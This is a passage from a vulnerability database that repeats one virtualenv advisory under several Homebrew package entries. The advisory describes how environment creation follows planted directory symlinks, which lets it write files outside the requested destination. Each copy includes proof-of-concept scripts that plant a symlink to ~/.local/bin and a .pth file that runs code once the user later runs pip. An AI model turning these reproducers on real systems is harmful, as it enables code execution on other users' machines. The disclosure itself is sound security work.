+ \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-tox-CVE-2026-113716",
      "modified": "2026-11-19T09:50:00Z",
      "published": "2026-10-22T09:02:57Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-VIRTUALENVWRAPPER-C… (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 11:13 – Updated: 2026-11-19 10:54 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualenvwrapper",
            "purl": "pkg:brew/virtualenvwrapper"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.8.4"
                },
                {
                  "fixed": "4.8.4_2"
                },
                {
                  "introduced": "6.1.0"
                },
                {
                  "fixed": "6.1.1_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-virtualenvwrapper-CVE-2026-113716",
      "modified": "2026-11-19T10:54:02Z",
      "published": "2026-10-22T11:13:48Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-VIRTUALFISH-CVE-202… (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:00 – Updated: 2026-11-19 09:55 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualfish",
            "purl": "pkg:brew/virtualfish"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "2.5.9_5"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared 